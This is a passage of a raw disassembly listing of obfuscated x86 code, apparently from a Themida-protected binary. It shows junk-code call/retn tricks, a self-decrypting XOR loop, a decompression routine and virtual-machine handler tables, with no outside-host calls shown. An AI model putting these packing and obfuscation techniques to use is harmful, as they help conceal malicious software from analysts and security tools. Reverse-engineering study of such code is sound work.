50400000h, 0D78BAAC3h ; --------------------------------------------------------------------------- loc_5850F4: ; CODE XREF: sub_581EE9+30D3j push edi add ebx, 98B11E2h mov bx, 0EDBDh mov ecx, 10907529h mov dx, 3939h or ebx, [ebp+6142B89h] loc_58510E: ; CODE XREF: sub_581EE9+3282j cmp dword ptr [edi], 0 jz loc_58518D jmp loc_58512C ; --------------------------------------------------------------------------- dd 0B9B6579Dh, 0DFA21D3Fh, 63D7420Eh, 0EA206C95h ; --------------------------------------------------------------------------- loc_58512C: ; CODE XREF: sub_581EE9+322Ej xor [edi], cl push 0 push ebp call loc_585139 and [ebp-3Dh], bl loc_585139: ; CODE XREF: sub_581EE9+3248p pop ebp mov [esp-6EBAh+arg_6EB6], ebp add [esp-6EBAh+arg_6EB6], 19h inc ebp push ebp retn ; --------------------------------------------------------------------------- db 0B4h, 16h, 0EEh ; --------------------------------------------------------------------------- lodsb cli setalc movsx ebx, ax mov edx, [ebp+6142F99h] mov ebx, 1B8E07B1h ror ecx, 1 mov [ebp+6140655h], edi inc edi mov edx, 4EFB4812h jmp loc_58510E ; --------------------------------------------------------------------------- dd 0FE8h, 58AA1100h, 0CFE49B8Eh, 0DDC06716h, 0C513F8F7h dd 5BDAB70Fh, 13E28166h db 1 ; --------------------------------------------------------------------------- loc_58518D: ; CODE XREF: sub_581EE9+3228j cmp eax, 5 jnz loc_585267 push 0 push ebx call loc_5851A1 and [ebx-3Dh], bl loc_5851A1: ; CODE XREF: sub_581EE9+32B0p pop ebx mov [esp-6EBAh+arg_6EB6], ebx add [esp-6EBAh+arg_6EB6], 15h inc ebx push ebx retn ; --------------------------------------------------------------------------- rcr byte ptr [ebx+2DD58D01h], 14h push es mov dh, 0A7h mov cx, ds sbb bh, 6Ah push eax or ebx, [ebp+61404A1h] pop ebx test cl, 4 jnz loc_585230 push 0 push eax call loc_5851DD and [eax-3Dh], bl loc_5851DD: ; CODE XREF: sub_581EE9+32ECp pop eax mov [esp+4], eax add dword ptr [esp+4], 17h inc eax push eax retn ; --------------------------------------------------------------------------- db 7Dh, 0D5h, 8Fh ; --------------------------------------------------------------------------- pop eax mov ebx, [ebp+6143119h] push eax xor edx, 6D79F13h pop ebx mov eax, 0 mov bx, 9470h jmp loc_585267 ; --------------------------------------------------------------------------- push 0 push ecx call loc_585218 and [ecx-3Dh], bl loc_585218: ; CODE XREF: sub_581EE9+3327p pop ecx mov [esp-6EB6h+arg_6EB2], ecx add [esp-6EB6h+arg_6EB2], 1Bh inc ecx push ecx retn ; --------------------------------------------------------------------------- dd 0A1689D92h, 11EC6290h ; --------------------------------------------------------------------------- loc_585230: ; CODE XREF: sub_581EE9+32E3j mov eax, [ebp+6140ABDh] push 0 push edx call loc_585241 and [edx-3Dh], bl loc_585241: ; CODE XREF: sub_581EE9+3350p pop edx mov [esp+4], edx add dword ptr [esp+4], 18h inc edx push edx retn ; --------------------------------------------------------------------------- db 0D0h, 18h, 7Dh dd 66F96E7Ah, 0E0FFDE8Bh, 36E9DFBBh, 9D9D095Dh ; --------------------------------------------------------------------------- das adc al, 6 loc_585267: ; CODE XREF: sub_581EE9:loc_584F7Ej ; sub_581EE9+32A7j ... cmp dword ptr [ebp+6141869h], 0 jnz loc_58534B mov edx, esi jmp loc_585289 ; --------------------------------------------------------------------------- db 0E7h ; --------------------------------------------------------------------------- pop edx mov esp, 6B0741FCh clc daa cmp eax, 531B7186h loc_585289: ; CODE XREF: sub_581EE9+338Dj nop jmp loc_585298 ; --------------------------------------------------------------------------- db 55h dd 0D56CD88Fh, 0C2182F78h ; --------------------------------------------------------------------------- loc_585298: ; CODE XREF: sub_581EE9+33A1j push eax jmp loc_5852AE ; --------------------------------------------------------------------------- dw 930h dd 5DC7485h, 2CB156B8h, 25C0DF14h db 90h db 66h ; --------------------------------------------------------------------------- loc_5852AE: ; CODE XREF: sub_581EE9+33B0j nop jbe loc_5852C1 jns loc_5852C1 and ebx, [ebp+6140DD9h] loc_5852C1: ; CODE XREF: sub_581EE9+33C6j ; sub_581EE9+33CCj pusha mov bx, 6F31h push edi mov [ebp+6140BB9h], eax pop ebx popa mov byte ptr [ebp+6140849h], 45h xor edx, [ebp+6142F91h] push 9AD323DAh xor [esp-6EBAh+arg_6EB2], 14A14AB3h push 0 push esi call loc_5852F3 and [esi-3Dh], bl loc_5852F3: ; CODE XREF: sub_581EE9+3402p pop esi mov [esp-6EBCh+arg_6EB6+2], esi add [esp-6EBCh+arg_6EB6+2], 15h inc esi push esi retn ; --------------------------------------------------------------------------- db 79h dd 0CBE380C8h, 0C2DB5FFh, 9D890614h, 61423EDh, 3B4E858Dh dd 7E80614h, 9F000000h, 0A7DF11E9h, 0BB666EEBh, 0FF5BEC66h dd 559589D0h, 89061404h, 14186985h, 0D88B6606h, 6810Fh dd 8D290000h, 6141F7Dh ; --------------------------------------------------------------------------- pop eax mov ebx, edx loc_58534B: ; CODE XREF: sub_581EE9+3385j cmp dword ptr [ebp+6144DF4h], 0 jz loc_58539A mov [ebp+6140041h], edx push dword ptr [ebp+6140E49h] movsx ebx, bx call dword ptr [ebp+6141869h] push 0 push eax call loc_585378 and [eax-3Dh], bl loc_585378: ; CODE XREF: sub_581EE9+3487p pop eax mov [esp-6EC0h+arg_6EBA+2], eax add [esp-6EC0h+arg_6EBA+2], 16h inc eax push eax retn ; --------------------------------------------------------------------------- dd 0E96591CDh, 0Ah, 43101100h, 0B26CDFD0h ; --------------------------------------------------------------------------- xor [edi], eax loc_58539A: ; CODE XREF: sub_581EE9+3469j cmp eax, 0 jnz loc_5854C7 or edx, 373B9970h cmp dword ptr [ebp+6142BB9h], 0 jz loc_585401 mov edx, [ebp+6141999h] push dword ptr [ebp+6142BB9h] mov [ebp+6140759h], esi mov eax, 1 push 0 push esi call loc_5853D8 and [esi-3Dh], bl loc_5853D8: ; CODE XREF: sub_581EE9+34E7p pop esi mov [esp-6EC0h+arg_6EBA+2], esi add [esp-6EC0h+arg_6EBA+2], 1Ah inc esi push esi retn ; --------------------------------------------------------------------------- dec ebp mov edx, 25B2D835h dec edx mov edx, 17CDF07Ah mov bh, cl jmp loc_5855FA ; --------------------------------------------------------------------------- add edx, [ebp+6140645h] loc_585401: ; CODE XREF: sub_581EE9+34C7j push dword ptr [ebp+6140E49h] push 0 push edx call loc_585412 and [edx-3Dh], bl loc_585412: ; CODE XREF: sub_581EE9+3521p pop edx mov [esp-6EC0h+arg_6EBA+2], edx add [esp-6EC0h+arg_6EBA+2], 1Dh inc edx push edx retn ; --------------------------------------------------------------------------- dw 1409h dd offset dword_49005C+9A7Eh ; --------------------------------------------------------------------------- xor eax, 6048CFB6h jmp loc_585445 ; --------------------------------------------------------------------------- dw 0E17Fh dd 0A4A2C0E6h, 299FA25Dh, 6B48032Fh, 0AE3DBFBBh db 0B2h ; --------------------------------------------------------------------------- loc_585445: ; CODE XREF: sub_581EE9+3544j xor [ebp+6140F1Dh], edx popa sbb dl, 4Fh push dword ptr [ebp+6140E49h] push 0 push eax call loc_585460 and [eax-3Dh], bl loc_585460: ; CODE XREF: sub_581EE9+356Fp pop eax mov [esp-6EDAh+arg_6ED6], eax add [esp-6EDAh+arg_6ED6], 1Dh inc eax push eax retn ; --------------------------------------------------------------------------- inc esi retn 0BFADh ; --------------------------------------------------------------------------- aas retn ; --------------------------------------------------------------------------- pushfw mov ah, 8Dh add ebx, 4903A5AEh push dword ptr [ebp+6141869h] push 0 push ebx call loc_585491 and [ebx-3Dh], bl loc_585491: ; CODE XREF: sub_581EE9+35A0p pop ebx mov [esp-6ED2h+arg_6ECE], ebx add [esp-6ED2h+arg_6ECE], 1Ch inc ebx push ebx retn ; --------------------------------------------------------------------------- db 7Ch, 0EAh, 7Ch ; --------------------------------------------------------------------------- test [ebx+76B90F53h], dh jmp loc_5854C0 ; --------------------------------------------------------------------------- db 50h dd 5EC271AFh, 0EC553BE8h, 670B1B2h, 1CCDADD8h ; --------------------------------------------------------------------------- loc_5854C0: ; CODE XREF: sub_581EE9+35C1j jmp loc_5855FA ; --------------------------------------------------------------------------- mov bh, 0F2h loc_5854C7: ; CODE XREF: sub_581EE9+34B4j pop edi sub [ebp+6140031h], ebx cmp dword ptr [ebp+61424DDh], 0 jnz loc_585558 or bl, 6Dh mov byte ptr [ebp+6140849h], 4Dh or edx, [ebp+61409E5h] push 5225D6B8h mov bl, dl add [esp-6EC2h+arg_6EBA], 520F9FF0h mov edx, [ebp+6141979h] push dword ptr [ebp+6142965h] jmp loc_585513 ; --------------------------------------------------------------------------- dw 56BAh dd 0CEAB7E43h db 2 dup(9Ch), 0Ah ; --------------------------------------------------------------------------- loc_585513: ; CODE XREF: sub_581EE9+361Cj lea eax, [ebp+6143B4Eh] jnz loc_585522 movsx ebx, si loc_585522: ; CODE XREF: sub_581EE9+3630j call eax movzx edx, si mov [ebp+61424DDh], eax push 0 push edi call loc_585538 and [edi-3Dh], bl loc_585538: ; CODE XREF: sub_581EE9+3647p pop edi mov [esp-6EC0h+arg_6EBA+2], edi add [esp-6EC0h+arg_6EBA+2], 1Dh inc edi push edi retn ; --------------------------------------------------------------------------- xor bl, dh xor al, 3Bh rcl dword ptr ds:0AE667501h, 81h retf 72B5h ; --------------------------------------------------------------------------- dw 36E0h ; --------------------------------------------------------------------------- loc_585558: ; CODE XREF: sub_581EE9+35ECj mov eax, 0 push 0 push esi call loc_585568 and [esi-3Dh], bl loc_585568: ; CODE XREF: sub_581EE9+3677p pop esi mov [esp-6EC8h+arg_6EC2+2], esi add [esp-6EC8h+arg_6EC2+2], 19h inc esi push esi retn ; --------------------------------------------------------------------------- dd 798EC618h, 0E2810F0Fh, 75E70F60h, 4D9DBD89h, 958B0614h dd 614094Dh, 840FC00Bh, 40h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0CDC35141h, 4D852934h, 6006142Eh dd 0AD958B57h, 58061401h, 0AF8BF281h, 8B614323h, 141CE995h dd 24E906h, 12B30000h, 1869B5FFh, 81660614h, 8DED3AE3h dd 16A07D85h, 49958B06h, 9006140Dh, 0B7505A50h, 0BA66907Dh db 0BEh, 96h ; --------------------------------------------------------------------------- loc_5855FA: ; CODE XREF: sub_581EE9+350Dj ; sub_581EE9:loc_5854C0j push eax push esi lea edi, [ebp+614548Fh] lea ecx, [ebp+6147A73h] mov eax, 748323BCh sub ecx, edi loc_58560F: ; CODE XREF: sub_581EE9+372Cj xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_58560F pop esi pop eax cmp dword ptr [ebp+6142BB9h], 0 jz short loc_585628 mov ecx, [ebp+6141F0Dh] loc_585628: ; CODE XREF: sub_581EE9+3737j xor ecx, ecx mov eax, 0 or eax, eax jz loc_5856DF cmp dword ptr [ebp+6141B19h], 0 jz short loc_585646 call dword ptr [ebp+61403FDh] loc_585646: ; CODE XREF: sub_581EE9+3755j mov eax, 0 or eax, eax jnz short loc_585658 cmp dword ptr [ebp+6144DA5h], 1 jz short loc_585661 loc_585658: ; CODE XREF: sub_581EE9+3764j cmp dword ptr [ebp+6144DA5h], 2 jnz short loc_58566F loc_585661: ; CODE XREF: sub_581EE9+376Dj mov esi, [ebp+6144D9Dh] lea eax, [ebp+616A07Dh] call eax loc_58566F: ; CODE XREF: sub_581EE9+3776j cmp dword ptr [ebp+6140F89h], 0 jz short loc_58567E call dword ptr [ebp+6141B25h] loc_58567E: ; CODE XREF: sub_581EE9+378Dj lea eax, [ebp+61443B1h] call eax cmp dword ptr [ebp+61409B1h], 2 jnz short loc_5856BE mov esp, [ebp+6140C55h] mov eax, [ebp+6142BB9h] mov [esp-6EBCh+arg_6EB2+2], eax mov dword ptr [ebp+61400D9h], 1 mov esi, [ebp+6144DA1h] mov ebp, [ebp+614268Dh] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_5856BE: ; CODE XREF: sub_581EE9+37A4j mov dword ptr [ebp+61400D9h], 1 mov esp, [ebp+6140C55h] mov esi, [ebp+6141605h] mov ebp, [ebp+614268Dh] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_5856DF: ; CODE XREF: sub_581EE9+3748j cmp dword ptr [ebp+6140F89h], 0 jz short loc_5856F7 cmp dword ptr [ebp+6141B25h], 0 jz short loc_5856F7 call dword ptr [ebp+6141B25h] loc_5856F7: ; CODE XREF: sub_581EE9+37FDj ; sub_581EE9+3806j mov esi, [ebp+6144D9Dh] retn ; --------------------------------------------------------------------------- mov ebx, [ebp+61412E9h] push 0 push ecx call loc_58570F and [ecx-3Dh], bl loc_58570F: ; CODE XREF: sub_581EE9+381Ep pop ecx mov [esp+4], ecx add dword ptr [esp+4], 1Ah inc ecx push ecx retn ; --------------------------------------------------------------------------- db 9 ; --------------------------------------------------------------------------- or [ebp+esi+669BB94Ah], edi mov edx, 0D22B32E2h push 0 push eax call loc_585737 and [eax-3Dh], bl loc_585737: ; CODE XREF: sub_581EE9+3846p pop eax mov [esp-6EBCh+arg_6EB6+2], eax add [esp-6EBCh+arg_6EB6+2], 14h inc eax push eax retn ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- jbe loc_585750 mov ebx, edi loc_585750: ; CODE XREF: sub_581EE9+385Fj sub [ebp+61434F1h], edx push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_585766 ; --------------------------------------------------------------------------- loc_585764: ; CODE XREF: sub_581EE9+3880j inc eax inc edi loc_585766: ; CODE XREF: sub_581EE9+3879j cmp byte ptr [edi], 0 jnz short loc_585764 xor ecx, ecx mov edi, [ebp+8] jmp short loc_585795 ; --------------------------------------------------------------------------- loc_585772: ; CODE XREF: sub_581EE9+38AEj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_58578A ; --------------------------------------------------------------------------- loc_585787: ; CODE XREF: sub_581EE9+38A4j mul ebx dec esi loc_58578A: ; CODE XREF: sub_581EE9+389Cj cmp esi, 0 ja short loc_585787 pop ebx add ecx, eax pop eax inc edi dec eax loc_585795: ; CODE XREF: sub_581EE9+3887j or eax, eax jnz short loc_585772 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- push 0 push ebx call loc_5857AE and [ebx-3Dh], bl loc_5857AE: ; CODE XREF: sub_581EE9+38BDp pop ebx mov [esp-6EBAh+arg_6EB6], ebx add [esp-6EBAh+arg_6EB6], 1Dh inc ebx push ebx retn ; --------------------------------------------------------------------------- dw 679Bh dd 86D45A8Fh, 0A2CE597Ah, 158D01h, 0F08A0614h, 359D8B60h dd 2906142Ch, 141B3D95h ; --------------------------------------------------------------------------- push es popa loc_5857DE: ; CODE XREF: sub_581EE9:loc_582994j mov eax, ecx jmp loc_585992 ; --------------------------------------------------------------------------- pusha mov esi, [esp-6EB2h+arg_6ECE] mov edi, [esp-6EB2h+arg_6ED2] cld mov dl, 80h loc_5857F1: ; CODE XREF: sub_581EE9:loc_585809j mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_5857FC: ; CODE XREF: sub_581EE9+399Ej ; sub_581EE9+3A06j ... add dl, dl jnz loc_585809 mov dl, [esi] inc esi adc dl, dl loc_585809: ; CODE XREF: sub_581EE9+3915j jnb loc_5857F1 add dl, dl jnz loc_58581C mov dl, [esi] inc esi adc dl, dl loc_58581C: ; CODE XREF: sub_581EE9+3928j jnb loc_58588C xor eax, eax add dl, dl jnz loc_585831 mov dl, [esi] inc esi adc dl, dl loc_585831: ; CODE XREF: sub_581EE9+393Dj jnb loc_585961 add dl, dl jnz loc_585844 mov dl, [esi] inc esi adc dl, dl loc_585844: ; CODE XREF: sub_581EE9+3950j adc eax, eax add dl, dl jnz loc_585853 mov dl, [esi] inc esi adc dl, dl loc_585853: ; CODE XREF: sub_581EE9+395Fj adc eax, eax add dl, dl jnz loc_585862 mov dl, [esi] inc esi adc dl, dl loc_585862: ; CODE XREF: sub_581EE9+396Ej adc eax, eax add dl, dl jnz loc_585871 mov dl, [esi] inc esi adc dl, dl loc_585871: ; CODE XREF: sub_581EE9+397Dj adc eax, eax jz loc_58587F push edi sub edi, eax mov al, [edi] pop edi loc_58587F: ; CODE XREF: sub_581EE9+398Aj mov [edi], al inc edi mov ebx, 2 jmp loc_5857FC ; --------------------------------------------------------------------------- loc_58588C: ; CODE XREF: sub_581EE9:loc_58581Cj mov eax, 1 loc_585891: ; CODE XREF: sub_581EE9:loc_5858ADj add dl, dl jnz loc_58589E mov dl, [esi] inc esi adc dl, dl loc_58589E: ; CODE XREF: sub_581EE9+39AAj adc eax, eax add dl, dl jnz loc_5858AD mov dl, [esi] inc esi adc dl, dl loc_5858AD: ; CODE XREF: sub_581EE9+39B9j jb loc_585891 sub eax, ebx mov ebx, 1 jnz loc_5858F4 mov ecx, 1 loc_5858C5: ; CODE XREF: sub_581EE9:loc_5858E1j add dl, dl jnz loc_5858D2 mov dl, [esi] inc esi adc dl, dl loc_5858D2: ; CODE XREF: sub_581EE9+39DEj adc ecx, ecx add dl, dl jnz loc_5858E1 mov dl, [esi] inc esi adc dl, dl loc_5858E1: ; CODE XREF: sub_581EE9+39EDj jb loc_5858C5 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_5857FC ; --------------------------------------------------------------------------- loc_5858F4: ; CODE XREF: sub_581EE9+39D1j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_585902: ; CODE XREF: sub_581EE9:loc_58591Ej add dl, dl jnz loc_58590F mov dl, [esi] inc esi adc dl, dl loc_58590F: ; CODE XREF: sub_581EE9+3A1Bj adc ecx, ecx add dl, dl jnz loc_58591E mov dl, [esi] inc esi adc dl, dl loc_58591E: ; CODE XREF: sub_581EE9+3A2Aj jb loc_585902 cmp eax, 7D00h jnb loc_585951 cmp eax, 500h jb loc_585948 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_5857FC ; --------------------------------------------------------------------------- loc_585948: ; CODE XREF: sub_581EE9+3A4Bj cmp eax, 7Fh ja loc_585954 loc_585951: ; CODE XREF: sub_581EE9+3A40j add ecx, 2 loc_585954: ; CODE XREF: sub_581EE9+3A62j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_5857FC ; --------------------------------------------------------------------------- loc_585961: ; CODE XREF: sub_581EE9:loc_585831j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz loc_585986 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_5857FC ; --------------------------------------------------------------------------- loc_585986: ; CODE XREF: sub_581EE9+3A80j sub edi, [esp-6EB2h+arg_6ED2] mov [esp-6EB2h+arg_6EC6], edi popa retn 8 ; --------------------------------------------------------------------------- loc_585992: ; CODE XREF: sub_581EE9+38F7j mov edx, 929h jmp loc_5A71D3 ; --------------------------------------------------------------------------- dd 26E001Bh, 12FEF4h, 2 dup(5FEBD8h), 26E0023h, 0 dd offset loc_5FD1BE dd 206h, 2, 1, 3, 0FA43DB9Ch, 5 dup(0) dd offset loc_586429 dd offset loc_58A002 dd offset loc_5899B8 dd offset loc_58C70B ; --------------------------------------------------------------------------- retn 58C9h ; --------------------------------------------------------------------------- align 4 dd offset loc_5899F3 dd offset loc_58E562 dd offset loc_58ED12 dd offset loc_5912BC dd offset loc_58E6F6 dd offset loc_58FB9A dd offset loc_586936 dd offset loc_5908CC dd offset loc_58E3B9 dd offset loc_5862F0 dd offset loc_589F99 dd offset loc_58A40D dd offset loc_58E457 ; --------------------------------------------------------------------------- mov eax, ds:760058D1h mov ah, 58h add ds:440058E9h, cl xchg eax, edx pop eax add [esi], ch push 58h add [edi-0BFFA730h], cl mov byte ptr [eax+0], 3Fh mov eax, 95F90058h pop eax add [ebx], ch mov esi, 84420058h pop eax add [ecx+7Fh], bh pop eax add [edi+6], al pop ecx add [ecx], al mov ah, 58h add ds:56005887h, cl xchg ebx, [eax+0] pop es mov ds:1F20058h, eax pop ecx add dl, ah imul ebx, [eax+0], 46h mov cl, 58h add dh, dh lodsb pop eax add [ebx+74h], ah pop eax add al, dh popf pop eax add [esi+eax*8+58h], cl add [eax+6B0058A3h], cl retn ; --------------------------------------------------------------------------- dw 58h dd offset loc_58D73E dd offset loc_58A312 dd offset loc_58F7F2 dd offset loc_587F2A dd offset loc_586D52 dd offset loc_58876B dd offset loc_58F236 dd offset loc_586F41 dd offset loc_5905C0 dd offset loc_590605 dd offset loc_58D3A4 dd offset loc_58CBC0 dd offset loc_587954 dd offset loc_589342 dd offset loc_585EA1 dd offset loc_58841D dd offset loc_58C736 dd offset loc_58BB90 dd offset loc_588CFD dd offset loc_58F2C5 dd offset loc_590BE1 dd offset loc_58DC22 dd offset loc_58D3FE dd offset loc_58A08D dd offset loc_58D0E7 dd offset loc_58DDA0 dd offset loc_58708A dd offset loc_58E9EC dd offset loc_58ADE3 dd offset loc_58AA45 dd offset loc_5873A5 dd offset loc_58B4A2 dd offset loc_586E14 dd offset loc_58D277 dd offset loc_58835F dd offset loc_588D54 dd offset loc_5902DB dd offset loc_58D24B dd offset off_590413 dd offset loc_58B02E dd offset loc_588195 dd offset loc_58BE40 dd offset loc_588B7D dd offset loc_586BFC dd offset loc_586686 dd offset loc_58706F dd offset loc_58CEE4 dd offset loc_589566 dd offset loc_5865EE dd offset loc_58B2E9 dd offset loc_585D46 dd offset loc_590CEA dd offset loc_587FD2 dd offset loc_58CDE1 dd offset loc_58ECA2 dd offset loc_586DF6 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 61h, 58h, 0 dd offset loc_58D31E dd offset loc_5883DC dd offset loc_58BCAF dd offset loc_58AC39 dd offset loc_59060D dd offset loc_5912B2 dd offset loc_58E1EA dd offset loc_5875EC dd offset loc_58C63B dd offset loc_590B6F dd offset loc_58C3BC dd offset loc_58BA9A dd offset loc_58C07A dd offset loc_587DF1 dd offset loc_5869D6 dd offset loc_586C41 dd offset loc_589164 dd offset loc_586C8E dd offset loc_58C0B3 dd offset loc_588066 dd offset loc_58BA60 dd offset loc_58C200 dd offset loc_58F224 dd offset loc_588D4C dd offset loc_58F4C7 dd offset loc_589F00 dd offset loc_58966F dd offset loc_586B64 dd offset loc_58E13F dd offset loc_58AC7D dd offset loc_58920F dd offset loc_58D9FA dd offset loc_58FF37 dd offset loc_58C1A7 dd offset loc_58DAFC dd offset loc_588BDA dd offset loc_58C41D dd offset loc_58774C dd offset loc_58F2F1 dd offset loc_590976 dd offset loc_591315 dd offset loc_587486 dd offset loc_5870F8 dd offset loc_58D671 dd offset loc_58FE87 dd offset loc_586BBD dd offset loc_588F3A dd offset loc_58D164 dd offset loc_589355 dd offset loc_58B4BC dd offset loc_58A6F0 dd offset loc_58F59C dd offset loc_58D1D0 dd offset loc_59097F dd offset loc_589DFE dd offset loc_58807B dd offset loc_5899FC dd offset dword_587C00 dd offset loc_58D8F4 dd offset loc_589F6D dd offset loc_5871D3 dd offset loc_58C86B dd offset loc_58E28C dd offset loc_58CF14 dd offset loc_585FD1 dd offset loc_590184 ; --------------------------------------------------------------------------- loc_585C7C: ; CODE XREF: Themida_:005B1D51j ; Themida_:005B1DCEj ... pusha pushf cld call $+5 pop edi sub edi, 61480E8h mov eax, edi add edi, 6147E00h cmp eax, [edi+2Ch] jnz short loc_585C9A jmp short loc_585CAD ; --------------------------------------------------------------------------- loc_585C9A: ; CODE XREF: sub_581EE9+3DADj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_585CA9 ; --------------------------------------------------------------------------- loc_585CA4: ; CODE XREF: sub_581EE9+3DC2j add [edi+ecx*4+40h], eax dec ecx loc_585CA9: ; CODE XREF: sub_581EE9+3DB9j or ecx, ecx jnz short loc_585CA4 loc_585CAD: ; CODE XREF: sub_581EE9+3DAFj mov esi, [esp-6ED6h+arg_6EF0+2] mov ebx, esi add esi, eax mov ecx, 1 loc_585CBA: ; CODE XREF: sub_581EE9+3DD8j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_585CBA loc_585CC3: ; CODE XREF: sub_581EE9+3E12j ; sub_581EE9+3EFEj ... lodsb jmp loc_590F05 ; --------------------------------------------------------------------------- loc_585CC9: ; CODE XREF: sub_581EE9+777Aj mov [esp-6ED6h+arg_6ECE], edi mov edi, 4 jmp loc_58ECF6 ; --------------------------------------------------------------------------- loc_585CD6: ; CODE XREF: sub_581EE9+5A45j push ebx mov ebx, 4 sub esi, 481E517Ch add esi, ebx add esi, 481E517Ch mov ebx, [esp] add esp, 4 xchg esi, [esp-6ED6h+arg_6ECE] mov esp, [esp-6ED6h+arg_6ECE] imul ecx, eax push ecx pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_585D00: ; CODE XREF: sub_581EE9+8AC0j mov [esp-6ECEh+arg_6EC6], ebp jmp loc_58AC11 ; --------------------------------------------------------------------------- loc_585D08: ; CODE XREF: sub_581EE9+CD13j and eax, 55F20B65h jmp loc_587275 ; --------------------------------------------------------------------------- loc_585D12: ; CODE XREF: sub_581EE9+59FCj mov edx, [esp-6ECEh+arg_6EC6] add esp, 4 jmp loc_58747E ; --------------------------------------------------------------------------- loc_585D20: ; CODE XREF: sub_581EE9+E514j add ebx, 4 xchg ebx, [esp] pop esp xchg edx, [esp-6ED6h+arg_6ECE] jmp loc_58F703 ; --------------------------------------------------------------------------- loc_585D2F: ; CODE XREF: sub_581EE9+6C75j add esp, 4 push esi jmp loc_587FC9 ; --------------------------------------------------------------------------- loc_585D3B: ; CODE XREF: sub_581EE9+8C8Cj mov edi, 40515A62h dec edi jmp loc_588340 ; --------------------------------------------------------------------------- loc_585D46: ; DATA XREF: sub_581EE9+3C6Fo lodsb push dx jmp loc_5884CA ; --------------------------------------------------------------------------- loc_585D4E: ; CODE XREF: sub_581EE9+C5E4j add [esp-6ED4h+arg_6ECA+2], 4 pop ebx add ebx, 4 push eax mov eax, 4 add ebx, eax jmp loc_58E46A ; --------------------------------------------------------------------------- loc_585D66: ; CODE XREF: sub_581EE9+8F95j pop eax add edi, 2C9B4C0Ah or edi, 5F876A3h sub edi, 38ED0799h push 33A1h jmp loc_590497 ; --------------------------------------------------------------------------- loc_585D83: ; CODE XREF: sub_581EE9+CDD4j shl esi, 1 dec esi sub esi, 7A0E4AFDh mov ecx, esi pop esi add edi, 7DA64E9Dh jmp loc_5889E1 ; --------------------------------------------------------------------------- loc_585D9A: ; CODE XREF: sub_581EE9+A0A7j add ebp, 4 xor ebp, [esp-6ED8h+arg_6ECE+2] xor [esp-6ED8h+arg_6ECE+2], ebp xor ebp, [esp-6ED8h+arg_6ECE+2] mov esp, [esp-6ED8h+arg_6ECE+2] xor ecx, 33D57A2Eh push 23C4h mov [esp-6ED4h+arg_6ECA+2], esi push ecx push esi mov esi, 55570338h mov ecx, esi pop esi inc ecx jmp loc_58DE83 ; --------------------------------------------------------------------------- loc_585DC7: ; CODE XREF: sub_581EE9+D230j mov ecx, 67DC6E0Bh push ebp mov ebp, 3A8C45B6h or ebp, 7D1C3F46h add ebp, 8215FC3Bh add ecx, ebp pop ebp jmp loc_590840 ; --------------------------------------------------------------------------- loc_585DE6: ; CODE XREF: sub_581EE9+67DAj pop esp jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_585DEC: ; CODE XREF: sub_581EE9+48B8j pop [esp-6ED4h+arg_6ECA+2] mov esp, [esp-6ED8h+arg_6ECE+2] jmp loc_587D74 ; --------------------------------------------------------------------------- loc_585DF7: ; CODE XREF: sub_581EE9+E66Cj mov esi, ebp pop ebp push edx jmp loc_58C44F ; --------------------------------------------------------------------------- loc_585E00: ; CODE XREF: sub_581EE9+E1F4j dec word ptr [esp-6ED8h+arg_6ECE+2] pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_585E0A: ; CODE XREF: sub_581EE9+9C2Aj pop esi add ecx, eax pop eax jmp loc_5884AB ; --------------------------------------------------------------------------- loc_585E13: ; CODE XREF: sub_581EE9+A4BDj push ebx mov ebx, 635F264Ah dec ebx push edi mov edi, 7F6C64FAh jmp loc_58C68D ; --------------------------------------------------------------------------- loc_585E25: ; CODE XREF: sub_581EE9+5387j xchg edi, [esp-6ED4h+arg_6ECA+2] pop esp push ecx mov ecx, 4 add eax, ecx pop ecx push eax jmp loc_589FE0 ; --------------------------------------------------------------------------- loc_585E38: ; CODE XREF: sub_581EE9+E648j push [esp-6ED4h+arg_6ECA+2] push [esp-6ED0h+arg_6EC6+2] mov eax, [esp-6ECCh+arg_6EC2+2] add esp, 4 push 53Eh jmp loc_58EB0D ; --------------------------------------------------------------------------- loc_585E4E: ; CODE XREF: sub_581EE9+D7CFj sub bl, ah add bl, 0AAh jmp loc_58DDBF ; --------------------------------------------------------------------------- loc_585E58: ; CODE XREF: sub_581EE9+730Fj pop dword ptr [esp] pop esp mov dx, word ptr [esp-6ED4h+arg_6ECA+2] jmp loc_58A148 ; --------------------------------------------------------------------------- loc_585E65: ; CODE XREF: sub_581EE9+4159j div ecx jmp loc_587E9F ; --------------------------------------------------------------------------- loc_585E6C: ; CODE XREF: sub_581EE9+DA88j pop edi xor edi, 40C16F3Fh mov ebp, edi jmp loc_58EE72 ; --------------------------------------------------------------------------- loc_585E7A: ; CODE XREF: sub_581EE9+F64Ej mov eax, 4F2B2606h add ebx, 5A03433Dh sub ebx, eax sub ebx, 5A03433Dh pop eax and eax, ebx mov ebx, [esp-6EDCh+arg_6ED2+2] push ebp mov ebp, esp push ecx mov ecx, 65296E78h jmp loc_58D242 ; --------------------------------------------------------------------------- loc_585EA1: ; DATA XREF: sub_581EE9+3BDFo mov cx, word ptr [esp-6ED4h+arg_6ECA+2] sub esp, 4 mov [esp-6ED0h+arg_6EC6+2], ebp push 